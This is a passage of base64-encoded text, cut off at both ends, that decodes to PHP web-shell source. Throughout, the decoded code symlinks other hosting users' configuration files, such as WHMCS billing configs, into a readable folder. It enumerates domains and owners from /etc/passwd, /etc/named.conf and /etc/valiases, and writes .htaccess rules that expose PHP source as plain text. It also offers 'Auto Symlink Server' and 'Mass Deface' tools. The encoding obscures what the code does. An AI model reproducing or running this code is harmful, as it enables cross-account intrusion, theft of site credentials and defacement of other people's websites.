MF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvZG9tYWlucy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgaWYoaXNfcmVhZGFibGUoIi92YXIvbmFtZWQiKSl7CiAgICBlY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKICAgIGVjaG8nPHRyPjx0ZD48Y2VudGVyPjxiPlNJVEU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+CiAgICA8Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD4KICAgIDx0ZD48L2NlbnRlcj48Yj5TWU1MSU5LPC9iPjwvY2VudGVyPjwvdGQ+JzsKICAgICRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwogICAgZm9yZWFjaCgkbGlzdCBhcyAkZG9tYWluKXsKICAgIGlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSl7CiAgICAkaSArPSAxOwogICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOwogICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwoKICAgIGVjaG8gIjx0cj48dGQgY2xhc3M9J3RkMSc+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iICc+Ii4kZG9tYWluLiI8L2E+PC90ZD4KICAgIDx0ZCBjbGFzcz0ndGQxJz48Y2VudGVyPjxmb250IGNvbG9yPSdyZWQnPiIuJG93bmVyWyduYW1lJ10uIjwvZm9udD48L2NlbnRlcj48L3RkPgogICAgPHRkIGNsYXNzPSd0ZDEnPjxjZW50ZXI+PGEgaHJlZj0nZXhwbG9kZWRzeW0vcm9vdCIuJG93bmVyWydkaXInXS4iLyIuJGRpclszXS4iJyB0YXJnZXQ9J19ibGFuayc+RElSPC9hPjwvY2VudGVyPjwvdGQ+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8Y2VudGVyPlRvdGFsIERvbWFpbnMgRm91bmQ6ICIuJGkuIjwvY2VudGVyPjxiciAvPiI7CiAgICB9ZWxzZXsgCiAgICBlY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPmNhbid0IHJlYWQgWyAvdmFyL25hbWVkIF08L3RkPjx0cj4iOyB9CgpicmVhazsKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZXJyb3JfcmVwb3J0aW5nKDApOwokZXRjID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvcGFzc3dkIik7CiRldGN6ID0gZXhwbG9kZSgiXG4iLCRldGMpOwppZihpc19yZWFkYWJsZSgiL2V0Yy9wYXNzd2QiKSl7CgplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj48Yj5TWU1MSU5LPC9iPjwvY2VudGVyPjwvdGQ+JzsKCiRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwoKZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsKJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsKCmZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7CmlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSl7CiRkb21haW4gPSBzdHJfcmVwbGFjZSgnLmRiJywnJywkZG9tYWluKTsKJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwppZigkb3duZXJbJ25hbWUnXSA9PSAkZXRjY1swXSkKewokaSArPSAxOwplY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIiAnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PGNlbnRlcj4KPHRkIGNsYXNzPSd0ZDEnPjxmb250IGNvbG9yPSdyZWQnPiIuJG93bmVyWyduYW1lJ10uIjwvZm9udD48L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9J3RkMSc+PGNlbnRlcj48YSBocmVmPSdleHBsb2RlZHN5bS9yb290Ii4kb3duZXJbJ2RpciddLiIvIi4kZGlyWzNdLiInIHRhcmdldD0nX2JsYW5rJz5ESVI8L2E+PC9jZW50ZXI+PC90ZD4iOwp9fX19CmVjaG8gIjxjZW50ZXI+VG90YWwgRG9tYWlucyBGb3VuZDogIi4kaS4iPC9jZW50ZXI+PGJyIC8+Ijt9CgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwppZihpc19yZWFkYWJsZSgiL2V0Yy9uYW1lZC5jb25mIikpewplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PC9jZW50ZXI+PGI+U1lNTElOSzwvYj48L2NlbnRlcj48L3RkPic7CiRuYW1lZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKcHJlZ19tYXRjaF9hbGwoJyV6b25lIFwiKC4qKVwiIHslJywkbmFtZWQsJGRvbWFpbnMpOwpmb3JlYWNoKCRkb21haW5zWzFdIGFzICRkb21haW4pewokZG9tYWluID0gdHJpbSgkZG9tYWluKTsKJGkgKz0gMTsKJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwplY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIiAnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PHRkIGNsYXNzPSd0ZDEnPjxjZW50ZXI+PGZvbnQgY29sb3I9J3JlZCc+Ii4kb3duZXJbJ25hbWUnXS4iPC9mb250PjwvY2VudGVyPjwvdGQ+PHRkIGNsYXNzPSd0ZDEnPjxjZW50ZXI+PGEgaHJlZj0nZXhwbG9kZWRzeW0vcm9vdCIuJG93bmVyWydkaXInXS4iLyIuJGRpclszXS4iJyB0YXJnZXQ9J19ibGFuayc+RElSPC9hPjwvY2VudGVyPjwvdGQ+IjsKfQplY2hvICI8Y2VudGVyPlRvdGFsIERvbWFpbnMgRm91bmQ6ICIuJGkuIjwvY2VudGVyPjxiciAvPiI7Cgp9IGVsc2UgeyBlY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPmNhbid0IHJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXTwvdGQ+PC90cj4iOyB9CgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwppZihpc19yZWFkYWJsZSgiL2V0Yy92YWxpYXNlcyIpKXsKZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiIGNsYXNzPSJ0ZDEiPic7CmVjaG8nPHRyPjx0ZD48Y2VudGVyPjxiPlNJVEU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+CjxjZW50ZXI+PGI+VVNFUjwvYj48L2NlbnRlcj48L3RkPjx0ZD48L2NlbnRlcj4KPGI+U1lNTElOSzwvYj48L2NlbnRlcj48L3RkPic7CiRsaXN0ID0gc2NhbmRpcigiL2V0Yy92YWxpYXNlcyIpOwpmb3JlYWNoKCRsaXN0IGFzICRkb21haW4pewokaSArPSAxOwokb3duZXIgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKSk7CmVjaG8gIjx0cj48dGQgY2xhc3M9J3RkMSc+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iICc+Ii4kZG9tYWluLiI8L2E+PC90ZD4KPGNlbnRlcj48dGQgY2xhc3M9J3RkMSc+PGZvbnQgY29sb3I9J3JlZCc+Ii4kb3duZXJbJ25hbWUnXS4iPC9mb250PjwvY2VudGVyPjwvdGQ+Cjx0ZCBjbGFzcz0ndGQxJz48Y2VudGVyPjxhIGhyZWY9J2V4cGxvZGVkc3ltL3Jvb3QiLiRvd25lclsnZGlyJ10uIi8iLiRkaXJbM10uIicgdGFyZ2V0PSdfYmxhbmsnPkRJUjwvYT48L2NlbnRlcj48L3RkPiI7Cn0KZWNobyAiPGNlbnRlcj5Ub3RhbCBEb21haW5zIEZvdW5kOiAiLiRpLiI8L2NlbnRlcj48YnIgLz4iOwp9IGVsc2UgeyBlY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPmNhbid0IHJlYWQgWyAvZXRjL3ZhbGlhc2VzIF08L3RkPjwvdHI+IjsgfQoKYnJlYWs7Cn0KCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCiM9PT09PT09PT09PT09PT09PT1bIE11bHRpIFRvb2wgU3ltbGluayBdPT09PT09PT09PT09PT09PT09IwoKaWYoaXNzZXQoJF9QT1NUWydzeW1saW5rciddKSkKewpAc2V0X3RpbWVfbGltaXQoMCk7CkBta2Rpcignc3ltJywwNzc3KTsKZXJyb3JfcmVwb3J0aW5nKDApOwokaHRhY2Nlc3MgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IGdhemEuaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsKZndyaXRlKCRvcCAsJGh0YWNjZXNzKTsKZWNobyAnPGNlbnRlcj48Yj5bIE1hbnVhbCBTeW1saW5rIF08L2I+PGJyPjxicj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9InRhYm5ldCI+PHRoIGNvbHNwYW49IjUiPk1hbnVhbCBTeW1saW5rPC90aD48dHI+Cjx0ZD5GaWxlIFBhdGggJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjwvdGQ+PC90cj4KPHRyPjx0ZD5TeW1saW5rIE5hbWUgOjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiB2YWx1ZT0iY29uZmlnLnR4dCIgc2l6ZT0iNjAiLz48L3RkPjwvdHI+Cjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN5bWxpbmsiIG5hbWU9InN5bWxpbmsiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPjwvY2VudGVyPic7CiR0YXJnZXQgPSAkX1BPU1RbJ2ZpbGUnXTsgJHN5bWZpbGUgPSAkX1BPU1RbJ3N5bWZpbGUnXTsgJHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTsKaWYgKCRzeW1saW5rKSB7QHN5bWxpbmsoIiR0YXJnZXQiLCJzeW0vJHN5bWZpbGUiKTsKZWNobyAnPGJyPjxjZW50ZXI+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9InN5bS8nLiRzeW1maWxlLiciID4nLiRzeW1maWxlLic8L2E+PGNlbnRlcj4nO319CgojPT09PT09PT09PT09PT09PT09WyBNdWx0aSBUb29sIFN5bWxpbmsgXT09PT09PT09PT09PT09PT09PSMKICAKaWYoaXNzZXQoJF9QT1NUWydzeW1saW5rcyddKSkKewpAc2V0X3RpbWVfbGltaXQoMCk7CmVjaG8gIjxjZW50ZXI+PGgxPlsgQXV0byBTeW1saW5rIFNlcnZlcl08L2gxPjwvY2VudGVyPjxicj48Y2VudGVyPjxkaXYgY2xhc3M9Y29udGVudD4iOwokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsKIyNodHRhY2VzCmlmKCRkMG1haW5zKXsKQG1rZGlyKCJleHBsb2RlZHN5bXMiLDA3NzcpOwpAY2hkaXIoImV4cGxvZGVkc3ltcyIpOwpAZXhlKCJsbiAtcyAvIHJvb3QiKTsKJGZpbGUzID0gJ09wdGlvbnMgYWxsCkRpcmVjdG9yeUluZGV4IFN1eC5odG1sCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIApBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCAKQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIApBZGRIYW5kbGVyIHR4dCAuaHRtbCAKUmVxdWlyZSBOb25lIApTYXRpc2Z5IEFueSc7CiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOwokZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOwplY2hvICIKPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MSBzdHlsZT0nd2lkdGg6NjAlO2JvcmRlci1jb2xvcjojMzMzMzMzOyc+Cjx0cj4KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+Uy4gTm8uPC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPkRvbWFpbnM8L2ZvbnQ+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+VXNlcnM8L2ZvbnQ+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPgo8L3RyPiI7CiRkY291bnQgPSAxOwoKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOwplY2hvICI8dHIgYWxpZ249Y2VudGVyPjx0ZD48Zm9udCBzaXplPTM+IiAuICRkY291bnQgLiAiPC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1sZWZ0PjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW5zWzFdWzBdLiIvPjxmb250IGNsYXNzPXR4dD4iLiRkb21haW5zWzFdWzBdLiI8L2ZvbnQ+PC9hPjwvdGQ+Cjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+Cjx0ZD48YSBocmVmPScvazIvcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY2xhc3M9dHh0PlN5bWxpbms8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4iOyAKZmx1c2goKTsKJGRjb3VudCsrO319fQplY2hvICI8L3RhYmxlPiI7Cn1lbHNlewokVEVTVD1AZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYgKCRURVNUKXsKQG1rZGlyKCJleHBsb2RlZHN5bXMiLDA3NzcpOwpAY2hkaXIoImV4cGxvZGVkc3ltcyIpOwpleGUoImxuIC1zIC8gcm9vdCIpOwokZmlsZTMgPSAnT3B0aW9ucyBhbGwgCiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCAKIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIAogQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIAogQWRkSGFuZGxlciB0eHQgLmh0bWwgCiBSZXF1aXJlIE5vbmUgCiBTYXRpc2Z5IEFueSc7CiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKICRmdzMgPSBmd3JpdGUoJGZwMywkZmlsZTMpOwogQGZjbG9zZSgkZnAzKTsKIGVjaG8gIjxicj48YnI+PGNlbnRlcj48aDI+U3ltbGluayBTZXJ2ZXIgITwvaDI+PC9jZW50ZXI+PGJyPjxicj4KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTQ+Uy4gTm8uPC9mb250PjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9ND5Vc2VyczwvZm9udD48L3RkPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTQ+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsKICRkY291bnQgPSAxOwogJGZpbGUgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGV4aXQoIlVuYWJsZSB0byBvcGVuIGZpbGUhIik7CiB3aGlsZSghZmVvZigkZmlsZSkpewogJHMgPSBmZ2V0cygkZmlsZSk7CiAkbWF0Y2hlcyA9IGFycmF5KCk7CiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTsKICRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CiBpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRtYXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVzID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZhci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRwIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRtYXRjaGVzID09ICJ2YXIvbmFtZWQiKQogY29udGludWU7CiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+IiAuICRkY291bnQgLiAiPC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PiIgLiAkbWF0Y2hlcyAuICI8L3RkPiI7CiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPS9rMi9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsKICRkY291bnQrKzt9ZmNsb3NlKCRmaWxlKTsKIGVjaG8gIjwvdGFibGU+Ijt9ZWxzZXtpZigkb3MgIT0gIldpbmRvd3MiKXtAbWtkaXIoImV4cGxvZGVkc3ltcyIsMDc3Nyk7QGNoZGlyKCJleHBsb2RlZHN5bXMiKTtAZXhlKCJsbiAtcyAvIHJvb3QiKTskZmlsZTMgPSAnT3B0aW9ucyBhbGwgCiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbAogQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIAogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCAKIEFkZEhhbmRsZXIgdHh0IC5odG1sIAogUmVxdWlyZSBOb25lIAogU2F0aXNmeSBBbnknOwogJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7CiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOwogZWNobyAiPGNlbnRlcj4KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTQ+SWQ8L2ZvbnQ+PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT00PlVzZXJzPC9mb250PjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9ND5TeW1saW5rPC9mb250PjwvdGQ+PC90cj4iOwogJHRlbXAgPSAiIjskdmFsMSA9IDA7JHZhbDIgPSAxMDAwOwogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7CiBpZiAoJHVpZCkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iO30KIGVjaG8gJzxici8+JzskdGVtcCA9IHRyaW0oJHRlbXApOyRmaWxlNSA9IAogZm9wZW4oInRlc3QudHh0IiwidyIpOwogZnB1dHMoJGZpbGU1LCR0ZW1wKTsKIGZjbG9zZSgkZmlsZTUpOyRkY291bnQgPSAxOyRmaWxlID0gCiBmb3BlbigidGVzdC50eHQiLCAiciIpIG9yIGV4aXQoIlVuYWJsZSB0byBvcGVuIGZpbGUhIik7CiB3aGlsZSghZmVvZigkZmlsZSkpeyRzID0gZmdldHMoJGZpbGUpOyRtYXRjaGVzID0gYXJyYXkoKTsKICR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOyRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CiBpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRtYXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVzID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZhci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRwIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRtYXRjaGVzID09ICJ2YXIvbmFtZWQiKQogY29udGludWU7CiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+IiAuICRkY291bnQgLiAiPC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PiIgLiAkbWF0Y2hlcyAuICI8L3RkPiI7CiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPS9rMi9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsKICRkY291bnQrKzt9CiBmY2xvc2UoJGZpbGUpOwogZWNobyAiPC90YWJsZT48L2Rpdj48L2NlbnRlcj4iO3VubGluaygidGVzdC50eHQiKTsKIH0gZWxzZSAKIGVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT00PkNhbm5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOwogfQogfQogfQp9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbWFzcycpKQp7CmVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5NYXNzIERlZmFjZTwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+CiI7CmVycm9yX3JlcG9ydGluZygwKTs/Pgo8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ijw/cGhwICRfU0VSVkVSWydQSFBfU0VMRiddPz4iIG1ldGhvZD0ncG9zdCc+Cjx0ZD48dGFibGU+PHRhYmxlIGNsYXNzPSJ0YWJuZXQiID4KCjx0aCBjb2xzcGFuPSc1Jz48Yj5Gb2xkZXIgTWFzcyBEZWZhY2U8L2I+PC90aD4KPGZvcm0gaGV0aG90PSdwb3N0Jz4KPHRyPgogICAgPHRyPgogICAgPHRkPiZuYnNwOyZuYnNwO0ZvbGRlcjwvdGQ+PHRkPjxpbnB1dCBjbGFzcyA9J2lucHV0eicgc3R5bGU9J2JhY2tncm91bmQ6YmxhY2s7JyB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyBzaXplPSc2MCcgdmFsdWU9Ijw/PWdldGN3ZCgpOz8+Ij48L3RkPgogICAgPC90cj48YnI+CiAgICA8dHI+CiAgICA8dGQ+RmlsZSBOYW1lPC90ZD48dGQ+PGlucHV0IGNsYXNzID0naW5wdXR6JyBzdHlsZT0nYmFja2dyb3VuZDpibGFjazsnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzYwJyB2YWx1ZT0iaW5kZXguaHRtbCI+PC90ZD4KICAgIDwvdHI+CjwvdHI+Cjx0YWJsZSBjbGFzcz0idGFibmV0IiA+Cjx0aCBjb2xzcGFuPSc1Jz48Yj5GaWxlIENvZGUgTWFzcyBEZWZhY2U8L2I+PC90aD4KPHRyPjx0ZD48L3RkPjx0ZD4KPHRhYmxlPjx0ZXh0YXJlYSBhbGlnbj0iY2Vu